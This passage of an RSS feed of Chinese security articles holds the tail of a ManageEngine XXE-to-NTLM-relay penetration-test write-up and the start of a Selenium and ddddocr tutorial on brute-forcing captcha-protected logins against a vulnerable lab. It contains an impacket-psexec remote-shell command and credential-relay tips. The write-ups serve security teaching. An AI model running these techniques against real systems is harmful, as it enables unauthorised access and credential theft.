-apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">impacket-psexec -no-pass -k w12.fbi.gov </code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4696652719665272" title="null" data-w="956" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=96251bdc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVC6hvh6d6XSBNJrSSyTpHwSMWFh96yH2UO9WnYibw0aGVib4Bicskaliabg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">ldap信息中该机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性值</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3925879396984925" title="null" data-w="1592" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f080f99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVLdSCmMXJV0FC7DeWSHCrdkNQ7yQod2oufRwIdiceH9nqibvanEumkciag%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">三、总结</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">一、该漏洞主要需要知道域名来触发xxe，那么实际使用中如何获取内网域名？</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">1./api/agent/configuration/getAgentServerInfo 接口中，如果配置了agent之后会有完整的fqdn</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3519736842105263" title="null" data-w="1216" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=76fb3a06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVRQ4pQv1HhOohBK6C3dzD2xytQ1R7pyOHvmWuRQNPv16Sm5cPjGt6Nw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">2.managerengine登录的时候会显示netbios。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.49871244635193135" title="null" data-w="1165" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a502a9f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVEfvgIALkCicvFAObJRnicTqQfr70MlreqG27qyVJEPEuv6YyupkZIB9A%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">3.如果能遇到存在exchang的，也能够通过exchange的接口获取fqdn。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.26875515251442705" title="null" data-w="1213" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3355210c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVib7XzDpibBb7K7UWaovjzRSY2BwdHZNUc6E0Ojyhy78w74Vr1MSmVzQw%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2814885496183206" title="null" data-w="1048" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3eb209fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVicncqpmiacLibchpRVwAB7CBpP8h3jHdCuPFCGnDwxeThjcWyRYdTj9ibQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">查看ldap信息w12机器的</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3951005025125628" title="null" data-w="1592" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0631e80b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVLsn77m9zey4OHMGdiagjtEyVDKtBCap1r4ibYw4Y3w99YA2dwPpbAS5w%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">二、jdk低版本的401</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">另外Java在使用内置类 sun.net.<span style="line-height: 1.75;color: rgb(87, 107, 149);">www.protocol.http.HttpURLConnection</span> 发送HTTP请求遇到状态码为401的HTTP返回头时，会判断该页面要求使用哪种认证方式，若采用的NTLM认证则会自动使用当前用户凭据进行认证。如果目标机器未开启防火墙来禁止外部请求smb，或者未对smb进行签名，攻击者便能依此获取NTLM认证请求。</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">四、参考文章</h1><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/" target="_blank">https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/</a> <a href="https://www.horizon3.ai/red-team-blog-cve-2022-28219/" target="_blank">https://www.horizon3.ai/red-team-blog-cve-2022-28219/</a> <a href="https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/" target="_blank">https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/</a></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247499383">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f9c2867c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247499383%26idx%3D1%26sn%3D645131d27614103205f28c2aa0a0d9c3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 11 Nov 2022 09:20:00 +0800</pubDate>
    </item>
    <item>
      <title>利用Selenium绕过前端js加密及验证码爆破</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499304&amp;idx=1&amp;sn=fcd54328e223414070f0e40229e05f59</link>
      <description>Selenium+ddddocr识别验证码自动化登录Selenium</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2022-11-07 09:20</span> <span style="display: inline-block;">江苏</span>
</p>

<p>Selenium+ddddocr识别验证码自动化登录Selenium</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a9bd900e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQvW7wwex580nmHRibXT6WKX2pYgq1tHEWxtajhlsliclgAaqjulMBmZOw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Selenium&amp;ddddocr识别验证码自动化爆破</h1><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">Selenium是什么？</h1><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Selenium可以模拟真实用户对URL中的元素进行操作。部分网站采用了一些流量校验算法，会将数据包中的进行加密，然后与计算出来的值进行比对，如果不能解密就加密的算法就很难使用burp爆破，及修改数据包的功能，而使用Selenium可以模拟人操作网站的行为，用户输入URL打开网站，选中输入框，输入内容，点击登录框。如果目标网站开启了一些校验，这些也会自动经过校验处理。而burp是直接跳过了这些操作，直接向服务器发送数据包。</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">前期准备</h1><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">需要保证浏览器的大版本号，和浏览器的驱动程序匹配</p><ul style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 下载Selenium<span style="line-height: 1.75;color: rgb(87, 107, 149);">支持的浏览器</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 下载Selenium<span style="line-height: 1.75;color: rgb(87, 107, 149);">浏览器驱动程序</span></p></li></ul><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">安装Selenium py库</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="line-height: 1.75;color: rgb(87, 107, 149);">Selenium py库安装</span></p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="line-height: 1.75;font-size: 12px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">pip3 install selenium</code></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4155405405405405" title="null" data-w="1184" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=8659a5fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQzltZlGghr9jFb1UpXGL5ia9mF62k1UnjXZhuX2J0u9ODG4LnhSibmI9g%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">如何使用？</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">自己的默认浏览器的主版本号，需要与驱动的主版本号相同</p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">经过上面的操作，下面需要测试python是否能够启动浏览器，能否加载浏览器驱动。可以使用下面的代码来进行测试</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">from</span> selenium <span style="color: rgb(198, 120, 221);">import</span> webdriver<br/>driver = webdriver.Chrome(executable_path=<span style="color: rgb(152, 195, 121);">r&#39;C:\WebDriver\bin\chromedriver.exe&#39;</span>) <span style="color: rgb(92, 99, 112);font-style: italic;">#指定crome驱动位置</span><br/>ActionChains(browser).key_down(Keys.CONTROL).send_keys(<span style="color: rgb(152, 195, 121);">&#34;t&#34;</span>).key_up(Keys.CONTROL).perform() <span style="color: rgb(92, 99, 112);font-style: italic;">#防止浏览器退出</span></code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">执行后成功弹出浏览器。</p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.40836820083682007" title="null" data-w="1195" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=33a46ddb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQhorpM2aU5EypdpulcHMicFgsuWbg4648aPBoJwGBg49Ruic7r9Al6cCA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下面来了解一下Selenium的常见语法</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">常见语法</h2><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><br/>title = driver.title <span style="color: rgb(92, 99, 112);font-style: italic;"># 获取标题</span><br/>driver.implicitly_wait(<span style="color: rgb(209, 154, 102);">0.5</span>) <span style="color: rgb(92, 99, 112);font-style: italic;"># 等待0.5秒</span><br/>URL操作<br/>driver.get() <span style="color: rgb(92, 99, 112);font-style: italic;"># 打开新网页</span><br/>driver.refresh() <span style="color: rgb(92, 99, 112);font-style: italic;"># 刷新网页</span><br/>查找元素<br/>search_box = driver.find_element(by=By.NAME, value=<span style="color: rgb(152, 195, 121);">&#34;q&#34;</span>) <span style="color: rgb(92, 99, 112);font-style: italic;"># 通过NAME来寻找元素</span><br/>search_button = driver.find_element(by=By.ID, value=<span style="color: rgb(152, 195, 121);">&#34;btnK&#34;</span>) <span style="color: rgb(92, 99, 112);font-style: italic;"># 通过ID来寻找元素</span><br/>find_pass = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;app&#34;]/div/div[1]/div[2]/div[1]/div/div[2]/input&#39;</span>) <span style="color: rgb(92, 99, 112);font-style: italic;"># 通过XPATH的方式来寻找元素</span><br/>操作元素<br/>search_box.send_keys(<span style="color: rgb(152, 195, 121);">&#34;Selenium&#34;</span>)  <span style="color: rgb(92, 99, 112);font-style: italic;"># 输入内容</span><br/>search_button.click() <span style="color: rgb(92, 99, 112);font-style: italic;"># 点击按钮</span><br/>SearchInput.clear() <span style="color: rgb(92, 99, 112);font-style: italic;"># 清除内容</span><br/>获取元素信息<br/>value = search_box.get_attribute(<span style="color: rgb(152, 195, 121);">&#34;value&#34;</span>)<br/>结束会话 <br/>driver.quit()</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">大致流程</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">查找元素 -&gt; 输入内容 -&gt; 点击按钮 -&gt; 获取返回的元素信息(判断是否登录成功)</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">打开网页</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">尝试让python程序打开一个网站。这里使用Pikachu的漏洞靶场来测试爆破功能</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">from</span> selenium <span style="color: rgb(198, 120, 221);">import</span> webdriver<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>():<br/>    driver = webdriver.Chrome(executable_path=<span style="color: rgb(152, 195, 121);">r&#39;C:\WebDriver\bin\chromedriver.exe&#39;</span>) <span style="color: rgb(92, 99, 112);font-style: italic;">#指定crome驱动位置</span><br/>    driver.get(<span style="color: rgb(152, 195, 121);">&#39;<a href="http://192.168.180.152/06/vul/burteforce/bf_form.php" target="_blank">http://192.168.180.152/06/vul/burteforce/bf_form.php</a>&#39;</span>)<span style="color: 